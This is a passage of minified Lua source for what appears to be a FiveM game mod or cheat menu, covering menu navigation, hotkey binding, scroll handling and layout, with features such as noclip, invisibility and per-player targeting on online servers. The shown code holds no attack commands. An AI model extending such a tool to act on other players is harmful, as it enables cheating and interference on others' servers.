menu.vars._noclipHold = { entity = entity, owners = { [owner] = true } } end menuLogic.holdNoclipPosition = holdNoclipPosition end do local function releaseNoclipPosition(owner, force) local noclipHold = menu.vars._noclipHold if not noclipHold then return end noclipHold.owners[owner] = nil if not force and next(noclipHold.owners) then return end menu.vars._noclipHold = nil if DoesEntityExist(noclipHold.entity) then FreezeEntityPosition(noclipHold.entity, false) end if not force and menu.vars.bools and menu.vars.bools.noclip then Ham.noClip(true) end end menuLogic.releaseNoclipPosition = releaseNoclipPosition end do local function activateOption(selectedOption) if not selectedOption then return end if selectedOption._isSearchClone and selectedOption._searchMatch then local searchResultsNode local scrollOffset = menu.vars.scrollOffset local currentOption = menu.vars.currentOption for index = #menu.vars.navigationStack, 1, -1 do if menu.vars.navigationStack[index]._isSearchResults then searchResultsNode = menu.vars.navigationStack[index] break end end menu.logic.navigateToSearchMatch(selectedOption._searchMatch) if searchResultsNode then menu.vars._searchReturnNode = { node = searchResultsNode, scrollOffset = scrollOffset, currentOption = currentOption } end return end menu.logic._activateOptionInner(selectedOption) end menuLogic.activateOption = activateOption end do local function _activateOptionInner(option) if not option then return end if option.type == "button" then if type(option.func) == "function" then menu.utils.safeCall(option.func, option) return end if type(option.func) ~= "string" then return end menu.utils.safeCallByName(option.func, option) return end if option.type == "toggle" or option.type == "toggleColorPicker" then if option.var then if menu.vars.bools[option.var] == nil then menu.vars.bools[option.var] = option.defaultToggle == true or option.default == true end menu.vars.bools[option.var] = not menu.vars.bools[option.var] end local callbackArgs = { toggleState = menu.vars.bools[option.var], targetInfo = option.targetInfo } if type(option.func) == "function" then menu.utils.safeCall(option.func, callbackArgs) elseif type(option.func) == "string" and option.func ~= "" then menu.utils.safeCallByName(option.func, callbackArgs) elseif option.name and option.var and not string.match(tostring(option.var), "^__") and option.silentToggle ~= true and option.noNotify ~= true then menu.utils.notifyToggle(option.name, callbackArgs.toggleState) end if option.var and string.match(option.var, "^__player_select_") then local serverId = tonumber(string.match(option.var, "__player_select_(%d+)$")) if serverId then menu.vars.selectedPlayers = menu.vars.selectedPlayers or {} if callbackArgs.toggleState then local playerId = GetPlayerFromServerId(serverId) if playerId and playerId ~= -1 and NetworkIsPlayerActive(playerId) then local playerPed = GetPlayerPed(playerId) if playerPed and playerPed ~= 0 and DoesEntityExist(playerPed) then local selectedPlayer = { serverId = serverId, playerId = playerId, ped = playerPed } menu.vars.selectedPlayers[serverId] = selectedPlayer menu.vars.selectedPlayer = { serverId = serverId, playerId = playerId, ped = playerPed } end end else menu.vars.selectedPlayers[serverId] = nil if menu.vars.selectedPlayer and menu.vars.selectedPlayer.serverId == serverId then menu.vars.selectedPlayer = nil for selectedServerId, selectedPlayer in pairs(menu.vars.selectedPlayers) do menu.vars.selectedPlayer = { serverId = selectedServerId, playerId = selectedPlayer.playerId, ped = selectedPlayer.ped } break end end end menu.vars.nextPlayerValidation = 0 menu.vars.nextPlayerListRefresh = 0 if menu.logic.buildPlayerOptionsTab then menu.logic.buildPlayerOptionsTab() end end end if not option.var then return end if string.sub(option.var, 1, 17) ~= "__vehicle_select_" then return end local netId = tonumber(string.match(option.var, "__vehicle_select_(%d+)$")) if not netId then return end menu.vars.selectedVehicles = menu.vars.selectedVehicles or {} if callbackArgs.toggleState then local vehicle = NetworkGetEntityFromNetworkId(netId) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then local modelHash = GetEntityModel(vehicle) menu.vars.selectedVehicles[netId] = { vehicle = vehicle, netId = netId, modelHash = modelHash } menu.vars.selectedVehicle = { vehicle = vehicle, netId = netId, modelHash = modelHash } end else menu.vars.selectedVehicles[netId] = nil if menu.vars.selectedVehicle and menu.vars.selectedVehicle.netId == netId then menu.vars.selectedVehicle = nil for selectedNetId, selectedVehicle in pairs(menu.vars.selectedVehicles) do menu.vars.selectedVehicle = { vehicle = selectedVehicle.vehicle, netId = selectedNetId, modelHash = selectedVehicle.modelHash } break end end end if not menu.logic.updateVehicleList then return end menu.logic.updateVehicleList() return end if option.type == "toggleIndiv" then if not option.var or not option.func then return end local callbackName = type(option.func) == "string" and option.func or option.originalFunc menu.logic.runOverPlayerTargets(option, function(targetInfo) menu.vars.indivBools = menu.vars.indivBools or {} menu.vars.indivBools[option.var] = menu.vars.indivBools[option.var] or {} local ped = targetInfo.ped local toggleState = not (menu.vars.indivBools[option.var][ped] or false) menu.vars.indivBools[option.var][ped] = toggleState if callbackName then menu.utils.safeCallByName(callbackName, { toggleState = toggleState, targetInfo = targetInfo }) end end) return end if option.type == "submenu" then if option.name == "Online Options" then menu.logic.updatePlayerList() end if option.name == "Vehicle Radar" then menu.logic.updateVehicleList() end if option.name == "Vehicle Options" and menu.functions.updateNearbyEmptyVehicleSpawnerList then menu.functions.updateNearbyEmptyVehicleSpawnerList() end if option.name == "Skin Editor" or option.name == "Wardrobe" then menu.logic.initializeSkinEditor() end if option.name == "Admin" then menu.logic.buildAdminVanityList() end table.insert(menu.vars.selectionHistory, menu.vars.currentOption) table.insert(menu.vars.scrollHistory, menu.vars.scrollOffset) local options local optionsBuilder local tabs = option.tabs if type(tabs) == "function" then tabs = tabs() or {} end if type(tabs) == "table" and tabs[1] ~= nil then local firstTab = tabs[1] options = firstTab and (firstTab.options or firstTab.submenu) or {} if type(options) == "function" then options = options() or {} end else optionsBuilder = option.submenu local submenu = option.submenu if type(submenu) == "function" then optionsBuilder = submenu submenu = submenu() end options = submenu or {} tabs = nil end local visibleOptions = menu.logic.getVisibleOptions(options) menu.vars.currentOption = menu.logic.findFirstSelectableOption(visibleOptions) menu.vars.scrollOffset = 0 menu.vars._scrollVisual = 0 local currentNode = menu.vars.navigationStack[#menu.vars.navigationStack] local previousOptions = currentNode and menu.logic.getNodeOptions(currentNode) or {} menu.logic.triggerAnimation("in", previousOptions, options) table.insert(menu.vars.navigationStack, { title = option.name, options = options, optionsBuilder = optionsBuilder, tabs = tabs, tabIndex = 1 }) return end if option.type == "selector" then local choices = option.choices if type(choices) == "function" then choices = option.choices() or option.choices end if not choices or not (0 < #choices) then return end local selectedIndex = menu.vars.selectors[option.var] or 1 if selectedIndex < 1 or selectedIndex > #choices then selectedIndex = 1 menu.vars.selectors[option.var] = 1 end local selectedValue = choices[selectedIndex] if option.targetInfo then local callbackArgs = { selectedValue = selectedValue, targetInfo = option.targetInfo } if type(option.func) == "function" then menu.utils.safeCall(option.func, callbackArgs) return end if type(option.func) ~= "string" then return end menu.utils.safeCallByName(option.func, callbackArgs) return end if type(option.func) == "function" then menu.utils.safeCall(option.func, selectedValue) return end if type(option.func) ~= "string" then return end menu.utils.safeCallByName(option.func, selectedValue) return end if option.type == "selectorToggle" then local toggleVar = option.toggleVar if not toggleVar and option.var then toggleVar = option.var .. "Enabled" end local indivVar = option.indivVar local toggleFunc = option.toggleFunc if indivVar and option.targetInfo then local callback = type(toggleFunc) == "string" and toggleFunc or toggleFunc menu.logic.runOverPlayerTargets(option, function(targetInfo) menu.vars.indivBools = menu.vars.indivBools or {} menu.vars.indivBools[indivVar] = menu.vars.indivBools[indivVar] or {} local ped = targetInfo.ped local toggleState = not (menu.vars.indivBools[indivVar][ped] or false) menu.vars.indivBools[indivVar][ped] = toggleState local callbackArgs = { toggleState = toggleState, targetInfo = targetInfo } if type(callback) == "function" then menu.utils.safeCall(callback, callbackArgs) elseif type(callback) == "string" then menu.utils.safeCallByName(callback, callbackArgs) end end) return end if not toggleVar then return end local currentState = menu.vars.bools[toggleVar] if currentState == nil then currentState = option.defaultToggle == true end local toggleState = not currentState menu.vars.bools[toggleVar] = toggleState local callbackArgs = { toggleState = toggleState } if option.targetInfo then callbackArgs.targetInfo = option.targetInfo end if type(toggleFunc) == "function" then menu.utils.safeCall(toggleFunc, callbackArgs) return end if type(toggleFunc) ~= "string" then return end menu.utils.safeCallByName(toggleFunc, callbackArgs) return end if option.type == "textInput" then menu.vars.textInputs = menu.vars.textInputs or {} local value = menu.vars.textInputs[option.var] or option.default or "" menu.ui.promptText({ title = option.name or "Text Input", label = option.placeholder or "Enter text", default = value, maxLen = option.maxLen or 50 }, function(inputValue, cancelled) if cancelled then return end inputValue = inputValue or "" menu.vars.textInputs[option.var] = inputValue if option.onChangeFunc then if type(option.onChangeFunc) == "function" then menu.utils.safeCall(option.onChangeFunc, inputValue) return end if type(option.onChangeFunc) == "string" then menu.utils.safeCallByName(option.onChangeFunc, inputValue) end end end) return end if option.type == "colorPicker" then menu.logic.openColorPickerFromOption(option) return end if option.type == "slider" or option.type == "numberSlider" then if not option.func then return end if type(option.func) == "function" then menu.utils.safeCall(option.func, option) return end if type(option.func) ~= "string" then return end menu.utils.safeCallByName(option.func, option) return end if option.type == "hotkey" then menu.logic.startHotkeyBinding(option) end end menuLogic._activateOptionInner = _activateOptionInner end do local function initializeSkinEditor() local playerPed = PlayerPedId() local function numericValue(value) value = tonumber(value) if value == nil then return nil end return value end local skinFace local skinSkin if menu.functions and menu.functions.resolveHeadBlendFromPed then skinFace, skinSkin = menu.functions.resolveHeadBlendFromPed(playerPed) else local _, shape, _, _, skin = GetPedHeadBlendData(playerPed) skinFace = numericValue(shape) skinSkin = numericValue(skin) if skinFace == nil or skinFace < 0 then if menu and menu.vars and menu.vars.sliders then skinFace = numericValue(menu.vars.sliders.skinFace) end end if skinSkin == nil or skinSkin < 0 then if menu and menu.vars and menu.vars.sliders then skinSkin = numericValue(menu.vars.sliders.skinSkin) end end if skinFace == nil or skinFace < 0 then skinFace = GetPedDrawableVariation(playerPed, 0) or 0 end if skinSkin == nil or skinSkin < 0 then skinSkin = GetPedDrawableVariation(playerPed, 0) or 0 end end local sliders = menu.vars.sliders sliders.skinFace = skinFace sliders.skinSkin = skinSkin sliders.skinHair = GetPedDrawableVariation(playerPed, 2) or 0 sliders.skinHairColor1 = GetPedHairColor(playerPed) or 0 sliders.skinHairColor2 = GetPedHairHighlightColor(playerPed) or 0 sliders.skinTorso1 = GetPedDrawableVariation(playerPed, 11) or 0 sliders.skinTorso2 = GetPedTextureVariation(playerPed, 11) or 0 sliders.skinArms = GetPedDrawableVariation(playerPed, 3) or 0 sliders.skinTshirt1 = GetPedDrawableVariation(playerPed, 8) or 0 sliders.skinTshirt2 = GetPedTextureVariation(playerPed, 8) or 0 sliders.skinPants1 = GetPedDrawableVariation(playerPed, 4) or 0 sliders.skinPants2 = GetPedTextureVariation(playerPed, 4) or 0 sliders.skinShoes1 = GetPedDrawableVariation(playerPed, 6) or 0 sliders.skinShoes2 = GetPedTextureVariation(playerPed, 6) or 0 sliders.skinMask1 = GetPedDrawableVariation(playerPed, 1) or 0 sliders.skinMask2 = GetPedTextureVariation(playerPed, 1) or 0 sliders.skinBproof1 = GetPedDrawableVariation(playerPed, 9) or 0 sliders.skinBproof2 = GetPedTextureVariation(playerPed, 9) or 0 sliders.skinBags1 = GetPedDrawableVariation(playerPed, 5) or 0 sliders.skinBags2 = GetPedTextureVariation(playerPed, 5) or 0 sliders.skinDecals1 = GetPedDrawableVariation(playerPed, 10) or 0 sliders.skinDecals2 = GetPedTextureVariation(playerPed, 10) or 0 sliders.skinChain1 = GetPedDrawableVariation(playerPed, 7) or 0 sliders.skinChain2 = GetPedTextureVariation(playerPed, 7) or 0 sliders.skinHelmet1 = GetPedPropIndex(playerPed, 0) or -1 sliders.skinHelmet2 = GetPedPropTextureIndex(playerPed, 0) or 0 sliders.skinGlasses1 = GetPedPropIndex(playerPed, 1) or -1 sliders.skinGlasses2 = GetPedPropTextureIndex(playerPed, 1) or 0 sliders.skinEars1 = GetPedPropIndex(playerPed, 2) or -1 sliders.skinEars2 = GetPedPropTextureIndex(playerPed, 2) or 0 sliders.skinBeard1 = menu.functions.normalizeHeadOverlaySlider(GetPedHeadOverlayValue(playerPed, 1)) sliders.skinBeard2 = 0 sliders.skinBeard3 = 0 if menu.functions and menu.functions.syncEyebrowSlidersFromPed then menu.functions.syncEyebrowSlidersFromPed(playerPed) end end menuLogic.initializeSkinEditor = initializeSkinEditor end do local function findSubmenuByName(submenuName) for _, tab in ipairs(menu.config.tabs) do for _, option in ipairs(tab.options) do if option.name == submenuName and option.type == "submenu" then if option.tabs then return { title = option.name, options = option.options or {}, tabs = option.tabs, tabIndex = 1 } end local options = option.submenu if type(options) == "function" then options = options() end return { title = option.name, options = options or {} } end end end return nil end menuLogic.findSubmenuByName = findSubmenuByName end do local function _findSubmenuOptionByNameInList(options, submenuName) if type(options) == "function" then options = options() or {} end if type(options) ~= "table" or not options then return nil end for _, option in ipairs(options) do if option and option.type == "submenu" and option.name == submenuName then return option end if option and option.type == "submenu" and option.tabs then local tabs = option.tabs if type(tabs) == "function" then tabs = tabs() or {} end for _, tab in ipairs(tabs or {}) do local tabOptions = tab and (tab.options or tab.submenu) or {} if type(tabOptions) == "function" then tabOptions = tabOptions() or {} end local match = menu.logic._findSubmenuOptionByNameInList(tabOptions or {}, submenuName) if match then return match end end end if option and option.type == "submenu" and option.submenu then local submenu = option.submenu if type(submenu) == "function" then submenu = submenu() end local match = menu.logic._findSubmenuOptionByNameInList(submenu or {}, submenuName) if match then return match end end end return nil end menuLogic._findSubmenuOptionByNameInList = _findSubmenuOptionByNameInList end do local function _findSubmenuOptionByName(submenuName) for _, tab in ipairs(menu.config.tabs) do local match = menu.logic._findSubmenuOptionByNameInList(tab.options or {}, submenuName) if match then return match end end return nil end menuLogic._findSubmenuOptionByName = _findSubmenuOptionByName end do local function refreshSubmenuByTitle(title) local node = menu.vars.navigationStack[#menu.vars.navigationStack] if not node or node.title ~= title then return end local currentOption = menu.vars.currentOption local scrollOffset = menu.vars.scrollOffset local option = menu.logic._findSubmenuOptionByName(title) if not option then return end if option.tabs then local tabs = option.tabs if type(tabs) == "function" then tabs = tabs() or {} end node.tabs = tabs or {} node._activeTabs = nil node.tabIndex = node.tabIndex or 1 else local options = option.submenu if type(options) == "function" then options = options() end node.options = options or {} end local visibleCount = #menu.logic.getVisibleOptions(menu.logic.getNodeOptions(node)) menu.vars.currentOption = math.min(currentOption, math.max(1, visibleCount)) menu.vars.scrollOffset = math.min(scrollOffset, math.max(0, visibleCount - menu.vars.maxVisibleOptions)) end menuLogic.refreshSubmenuByTitle = refreshSubmenuByTitle end do local function _hasVisibleOptions(options) if not options then return false end for _, option in ipairs(options) do local visible = option.condition if visible then visible = option.condition() else visible = true end if visible then if option.type == "submenu" then local tabs = option.tabs if tabs then if type(tabs) == "function" then tabs = tabs() or {} end if type(tabs) == "table" then for _, tab in ipairs(tabs) do local tabOptions = tab and (tab.options or tab.submenu) or {} if type(tabOptions) == "function" then tabOptions = tabOptions() or {} end if tabOptions and menu.logic._hasVisibleOptions(tabOptions) then return true end end end end local submenu = option.submenu if type(submenu) == "function" then submenu = submenu() end if submenu and menu.logic._hasVisibleOptions(submenu) then return true end elseif option.type == "separator" or option.type == "seperator" then return true else return true end end end return false end menuLogic._hasVisibleOptions = _hasVisibleOptions end do local function computeOrderedTabs() local orderedTabs = {} for _, tab in ipairs(menu.config.tabs) do if menu.logic._hasVisibleOptions(tab.options) then table.insert(orderedTabs, tab) end end return orderedTabs end menuLogic.computeOrderedTabs = computeOrderedTabs end do local function getScriptOptionsBarTitle() local navigationStack = menu.vars.navigationStack if not navigationStack then return nil end for index = 2, #navigationStack do local node = navigationStack[index] if node and node.title == "Script Options" then local childNode = navigationStack[index + 1] if childNode and childNode.title and childNode.title ~= "" then return tostring(childNode.title) end return "Script Options" end end return nil end menuLogic.getScriptOptionsBarTitle = getScriptOptionsBarTitle end do local function buildMenuBreadcrumbText() local navigationStack = menu.vars.navigationStack if not navigationStack or #navigationStack == 0 then return "" end if #navigationStack == 1 then return navigationStack[1] and navigationStack[1].title or "" end local titles = {} for index = 2, #navigationStack do local node = navigationStack[index] if node and node.title and node.title ~= "" then table.insert(titles, tostring(node.title)) end end return table.concat(titles, " > ") end menuLogic.buildMenuBreadcrumbText = buildMenuBreadcrumbText end do local function buildOptionIdentifier(option) if option and option.keybindIdentifier then return tostring(option.keybindIdentifier) end local parts = {} for index = 1, #menu.vars.navigationStack do local node = menu.vars.navigationStack[index] if node and node.title then table.insert(parts, tostring(node.title)) end end if option and option.name then table.insert(parts, tostring(option.name)) end if option and option.targetInfo and option.targetInfo.serverId then table.insert(parts, "[" .. tostring(option.targetInfo.serverId) .. "]") end return table.concat(parts, "/") end menuLogic.buildOptionIdentifier = buildOptionIdentifier end do local function getHotkeyBindingTarget(option) if not option then return nil end return option.target or option end menuLogic.getHotkeyBindingTarget = getHotkeyBindingTarget end do local function buildHotkeyBindTarget(option) if not option then return nil end return { identifier = menu.logic.buildOptionIdentifier(option), name = option.name, type = option.type, func = option.originalFunc or option.func, var = option.var, toggleVar = option.toggleVar, toggleFunc = option.originalToggleFunc or option.toggleFunc, defaultToggle = option.defaultToggle, onChangeFunc = option.originalOnChangeFunc or option.onChangeFunc, default = option.default, targetInfo = option.targetInfo, runMultiple = option.runMultiple, choices = option.choices, keybindName = option.keybindName, emoteDict = option.emoteDict, emoteClip = option.emoteClip, emoteLoop = option.emoteLoop, emoteFlag = option.emoteFlag, emoteDuration = option.emoteDuration, emoteScenario = option.emoteScenario, emotePropModel = option.emotePropModel, emoteBone = option.emoteBone, emotePlacement = option.emotePlacement, emotePropLoop = option.emotePropLoop } end menuLogic.buildHotkeyBindTarget = buildHotkeyBindTarget end do local function enrichSelectorToggleHotkeyAction(option) if not option or option.type ~= "selectorToggle" then return option end if option.toggleVar and option.toggleFunc then return option end if option.var == "invisibilityMode" then option.toggleVar = option.toggleVar or "invisibilityEnabled" option.toggleFunc = option.toggleFunc or "applyInvisibility" elseif option.var == "noclipMode" then option.toggleVar = option.toggleVar or "noclipModeEnabled" option.toggleFunc = option.toggleFunc or "applyNoclipModeToggle" end return option end menuLogic.enrichSelectorToggleHotkeyAction = enrichSelectorToggleHotkeyAction end do local function getKeybindEntryStatusVar(option) if not option then return nil end if option.type == "toggle" and option.var then return option.var end if option.type == "selectorToggle" and option.toggleVar then return option.toggleVar end return nil end menuLogic.getKeybindEntryStatusVar = getKeybindEntryStatusVar end do local function isKeybindToggleEntry(option) return menu.logic.getKeybindEntryStatusVar(option) ~= nil end menuLogic.isKeybindToggleEntry = isKeybindToggleEntry end do local function enrichKeybindListEntry(option) if not option or not option.identifier then return option end if option.type == "selectorToggle" and option.toggleVar then return option end if option.identifier == "INVISIBILITY_TOGGLE" then option.type = "selectorToggle" option.toggleVar = "invisibilityEnabled" elseif option.identifier == "NOCLIP_MODE_TOGGLE" then option.type = "selectorToggle" option.toggleVar = "noclipModeEnabled" end return option end menuLogic.enrichKeybindListEntry = enrichKeybindListEntry end do local function startHotkeyBinding(option) menu.vars.isBindingHotkey = true menu.vars.hotkeyBindingInfo = option menu.vars.hotkeyBindCompleteTime = 0 menu.vars.hotkeyBindCompleteMessage = nil menu.vars.pendingHotkey = nil menu.vars.pendingHotkeyName = nil menu.vars.hotkeyBindIgnoreUntil = GetGameTimer() + 250 if Ham.toggleInputBlock then Ham.toggleInputBlock(true) end end menuLogic.startHotkeyBinding = startHotkeyBinding end do local function stopHotkeyBinding(ignoreDuration) menu.vars.isBindingHotkey = false menu.vars.hotkeyBindingInfo = nil menu.vars.pendingHotkey = nil menu.vars.pendingHotkeyName = nil menu.vars.hotkeyBindIgnoreUntil = 0 if ignoreDuration and 0 < ignoreDuration then menu.vars.menuToggleIgnoreUntil = GetGameTimer() + ignoreDuration end if Ham.toggleInputBlock then Ham.toggleInputBlock(false) end end menuLogic.stopHotkeyBinding = stopHotkeyBinding end do local function getVisibleOptions(options) if not options then return {} end local visibleOptions = {} for _, option in ipairs(options) do if not option.condition or option.condition() then table.insert(visibleOptions, option) end end return visibleOptions end menuLogic.getVisibleOptions = getVisibleOptions end do local function getActiveTabsForNode(node) if not node or not node.tabs then return nil end local tabs = node.tabs if type(tabs) == "function" then tabs = tabs() or {} node.tabs = tabs end local activeTabs = {} for _, tab in ipairs(tabs) do local condition = tab.condition local include = not condition if condition then include = tab.condition() end if include then local options = tab.options or tab.submenu or {} if type(options) == "function" then options = options() or {} end if tab.alwaysShow or menu.logic._hasVisibleOptions(options) then table.insert(activeTabs, { name = tab.name, options = options }) end end end if not activeTabs[1] then return nil end node.tabIndex = math.min(node.tabIndex or 1, menu.logic.menuTabListLen(activeTabs)) if node.tabIndex < 1 then node.tabIndex = 1 end node._activeTabs = activeTabs return activeTabs end menuLogic.getActiveTabsForNode = getActiveTabsForNode end do local function getNodeOptions(node) if not node then return {} end local activeTabs = menu.logic.getActiveTabsForNode(node) if activeTabs then local activeTab = activeTabs[node.tabIndex or 1] return activeTab and activeTab.options or {} end if type(node.optionsBuilder) == "function" then node.options = node.optionsBuilder() or {} end return node.options or {} end menuLogic.getNodeOptions = getNodeOptions end do local function isSeparator(option) if not option then return option end return option.type == "separator" or option.type == "seperator" end menuLogic.isSeparator = isSeparator end do local function isNonSelectable(option) if not option then return option end return menu.logic.isSeparator(option) or option.disableHover == true end menuLogic.isNonSelectable = isNonSelectable end do local function clampMenuScroll(optionCount) optionCount = tonumber(optionCount) or 0 local maxVisibleOptions = menu.vars.maxVisibleOptions or 9 local maxScrollOffset = math.max(0, optionCount - maxVisibleOptions) local scrollOffset = menu.vars.scrollOffset or 0 if maxScrollOffset < scrollOffset then scrollOffset = maxScrollOffset menu.vars._scrollVisual = scrollOffset elseif scrollOffset < 0 then scrollOffset = 0 menu.vars._scrollVisual = 0 end menu.vars.scrollOffset = scrollOffset local visibleCount = math.max(1, math.min(maxVisibleOptions, optionCount - scrollOffset)) local currentOption = menu.vars.currentOption or 1 if visibleCount < currentOption then menu.vars.currentOption = visibleCount end if 0 < optionCount and optionCount < (menu.vars.currentOption or 1) + scrollOffset then menu.vars.currentOption = math.max(1, optionCount - scrollOffset) end end menuLogic.clampMenuScroll = clampMenuScroll end do local function tickNoclipScrollSpeedInput() if not menu.vars or not menu.vars.bools then return end if menu.vars.bools.noclip ~= true or menu.vars.bools.noclipScrollSpeed ~= true or menu.vars.textPrompt then return end local controls = { 14, 15, 16, 17, 241, 242, 332, 333 } for inputGroup = 0, 2 do for _, control in ipairs(controls) do DisableControlAction(inputGroup, control, true) end end local increase = IsDisabledControlJustPressed(0, 241) if not increase then increase = IsDisabledControlJustPressed(0, 15) if not increase then increase = IsDisabledControlJustPressed(0, 332) end end local decrease = IsDisabledControlJustPressed(0, 242) if not decrease then decrease = IsDisabledControlJustPressed(0, 14) if not decrease then decrease = IsDisabledControlJustPressed(0, 333) end end if not increase and not decrease then return end if menu.functions then if not menu.functions.adjustNoclipSpeedLive then return end menu.functions.adjustNoclipSpeedLive(increase and 1 or -1, 0.5) end end menuLogic.tickNoclipScrollSpeedInput = tickNoclipScrollSpeedInput end do local function tickNoclipWeaponWheelAllow() if not menu.vars or not menu.vars.bools then return end if menu.vars.bools.noclip ~= true or menu.vars.textPrompt then return end if _G.pmFullInvisibleActive == true or menu.vars.bools.fullInvisible == true then return end local controls = { 37, 99, 157, 158, 159, 160, 161, 162, 163, 164, 165 } local playerPed = PlayerPedId() SetPedCanSwitchWeapon(playerPed, true) for inputGroup = 0, 2 do for _, control in ipairs(controls) do EnableControlAction(inputGroup, control, true) end end end menuLogic.tickNoclipWeaponWheelAllow = tickNoclipWeaponWheelAllow end do local function tickAzertyMovementAllow() if not (menu.utils and menu.utils.isAzertyKeyboard and menu.utils.isAzertyKeyboard()) then return end if not menu.vars or not menu.vars.bools then return end local bools = menu.vars.bools if bools.noclip ~= true and bools.freecam ~= true and bools.sliderMode ~= true and bools.vehicleHoverTest ~= true then return end local controls = { 30, 31, 32, 33, 34, 35 } for inputGroup = 0, 2 do for _, control in ipairs(controls) do EnableControlAction(inputGroup, control, true) end end end menuLogic.tickAzertyMovementAllow = tickAzertyMovementAllow end do local function applyMenuScrollWheelStep(direction, options, optionCount) if not options or optionCount <= 0 then return end local function advanceSelection() local maxVisibleOptions = menu.vars.maxVisibleOptions if optionCount > maxVisibleOptions then if 0 < direction then if menu.vars.currentOption < maxVisibleOptions then menu.vars.currentOption = menu.vars.currentOption + 1 elseif optionCount > menu.vars.scrollOffset + maxVisibleOptions then menu.vars.scrollOffset = menu.vars.scrollOffset + 1 else menu.vars.currentOption = 1 menu.vars.scrollOffset = 0 end else if 1 < menu.vars.currentOption then menu.vars.currentOption = menu.vars.currentOption - 1 elseif 0 < menu.vars.scrollOffset then menu.vars.scrollOffset = menu.vars.scrollOffset - 1 else menu.vars.scrollOffset = optionCount - maxVisibleOptions menu.vars.currentOption = maxVisibleOptions if menu.vars.scrollOffset < 0 then menu.vars.scrollOffset = 0 end if optionCount < menu.vars.currentOption + menu.vars.scrollOffset then menu.vars.currentOption = optionCount - menu.vars.scrollOffset end end end elseif 0 < direction then menu.vars.currentOption = menu.vars.currentOption % optionCount + 1 else local previousOption = menu.vars.currentOption - 1 if previousOption < 1 and optionCount then previousOption = optionCount end menu.vars.currentOption = previousOption end end advanceSelection() local attempts = 0 while attempts < optionCount do local option = options[menu.vars.currentOption + menu.vars.scrollOffset] if not menu.logic.isNonSelectable(option) then return end advanceSelection() attempts = attempts + 1 end end menuLogic.applyMenuScrollWheelStep = applyMenuScrollWheelStep end do local function cycleNumberSliderInput(option, direction) if not option or not option.inputVar or not option.inputChoices then return end local choices = option.inputChoices if not choices or #choices == 0 then return end local selectedIndex = menu.vars.selectors and menu.vars.selectors[option.inputVar] or option.inputDefault or 1 selectedIndex = selectedIndex + (tonumber(direction) or 0) if selectedIndex < 1 then selectedIndex = #choices elseif selectedIndex > #choices then selectedIndex = 1 end menu.vars.selectors[option.inputVar] = selectedIndex if option.inputOnChangeFunc then menu.utils.safeCallByName(option.inputOnChangeFunc, choices[selectedIndex]) end if option.inputHints and option.inputHints[selectedIndex] and menu.utils and menu.utils.notify then menu.utils.notify(option.inputHints[selectedIndex], "info", 3500) end end menuLogic.cycleNumberSliderInput = cycleNumberSliderInput end do local function getNumberSliderInputClusterLayout(option, scale, rowHeight, rowTop, rightEdge) if not option or not option.inputVar or not option.inputChoices then return nil end local leftArrowWidth = roundNearest(14 * scale) local rightArrowWidth = roundNearest(18 * scale) local gap = roundNearest(2 * scale) local selectedIndex = menu.vars.selectors and menu.vars.selectors[option.inputVar] or option.inputDefault or 1 local choices = option.inputChoices local choiceText = "Empty" if choices and 0 < #choices then if selectedIndex < 1 or selectedIndex > #choices then selectedIndex = 1 menu.vars.selectors[option.inputVar] = 1 end choiceText = tostring(choices[selectedIndex] or "Empty") end local optionFont = menu.fonts.options Ham.setFont(optionFont.font) local textWidth = select(1, Ham.getTextWidth(choiceText)) Ham.resetFont() local rightArrowX = rightEdge - rightArrowWidth local textX = rightArrowX - gap - textWidth local leftArrowX = textX - leftArrowWidth return { choiceText = choiceText, textWidth = textWidth, leftArrowX = leftArrowX, rightArrowX = rightArrowX, textX = textX, arrowWLeft = leftArrowWidth, arrowWRight = rightArrowWidth, rowTop = rowTop, rowBottom = rowTop + rowHeight } end menuLogic.getNumberSliderInputClusterLayout = getNumberSliderInputClusterLayout end do local function getSelectorMouseClusterLayout(option, scale, menuX, rowHeight, rowTop) if not option or (option.type ~= "selector" and option.type ~= "selectorToggle") then return nil end if option.hideSelectorChoice then return nil end local rightEdge = menuX + roundNearest(menu.vars.width - 15 * scale) local leftArrowWidth = roundNearest(14 * scale) local rightArrowWidth = roundNearest(18 * scale) local extraGap = 0 local gap = roundNearest(2 * scale) local selectedIndex = menu.vars.selectors[option.var] or 1 local choices = option.choices if type(choices) == "function" then choices = option.choices() or option.choices end local function normalizeChoiceText(value) value = tostring(value or "") value = value.gsub(value, "^%s+", "") value = value.gsub(value, "%s+$", "") return value.gsub(value, "%s+", " ") end local choiceText = "Empty" if choices and 0 < #choices then if selectedIndex < 1 or selectedIndex > #choices then selectedIndex = 1 menu.vars.selectors[option.var] = 1 end choiceText = normalizeChoiceText(choices[selectedIndex]) if choiceText == "" then choiceText = "Empty" end end local optionFont = menu.fonts.options Ham.setFont(optionFont.font) local textWidth = select(1, Ham.getTextWidth(choiceText)) Ham.resetFont() local leftArrowX, textX, rightArrowX, pillX if option.type == "selectorToggle" then pillX = rightEdge - roundNearest(44 * scale * 0.75) rightArrowX = pillX - roundNearest(5 * scale) - rightArrowWidth textX = rightArrowX - gap - textWidth leftArrowX = textX - extraGap - leftArrowWidth else pillX = nil leftArrowX = rightEdge - (leftArrowWidth + extraGap + textWidth + gap + rightArrowWidth) textX = leftArrowX + leftArrowWidth + extraGap rightArrowX = textX + textWidth + gap end return { choiceText = choiceText, textWidth = textWidth, leftArrowX = leftArrowX, rightArrowX = rightArrowX, textX = textX, arrowW = rightArrowWidth, arrowWLeft = leftArrowWidth, arrowWRight = rightArrowWidth, gap = gap, pillX = pillX, rightEdge = rightEdge, rowTop = rowTop, rowBottom = rowTop + rowHeight } end menuLogic.getSelectorMouseClusterLayout = getSelectorMouseClusterLayout end do local function processMenuMouseUi(currentNode, options, optionCount) if not menu.vars.bools or not menu.vars.bools.menuMouseControl then return end if menu.vars.colorPickerState.active then return end if not Ham.getMousePos or not Ham.isMouseDown then return end local now = GetGameTimer() local function markMouseActivity(delay) delay = delay or 150 menu.vars.lastMouseMenuAt = now + delay menu.vars.lastKeyPress = now + delay end local mouseX, mouseY = Ham.getMousePos() local mouseDown = Ham.isMouseDown(0) local previousMouseDown = menu.vars._mouseMenuPrevDown == true menu.vars._mouseMenuPrevDown = mouseDown local mouseReleased = previousMouseDown and not mouseDown local scale = menu.vars.scale or 1 local menuPosition = menu.vars.menuPositionState if menuPosition.x == nil or menuPosition.y == nil then return end local menuX = roundNearest(menuPosition.x) local menuY = roundNearest(menuPosition.y) local menuWidth = roundNearest(menu.vars.width) local titleBarHeight = roundNearest(menu.vars.titleBarHeight * scale) local tabHeight = 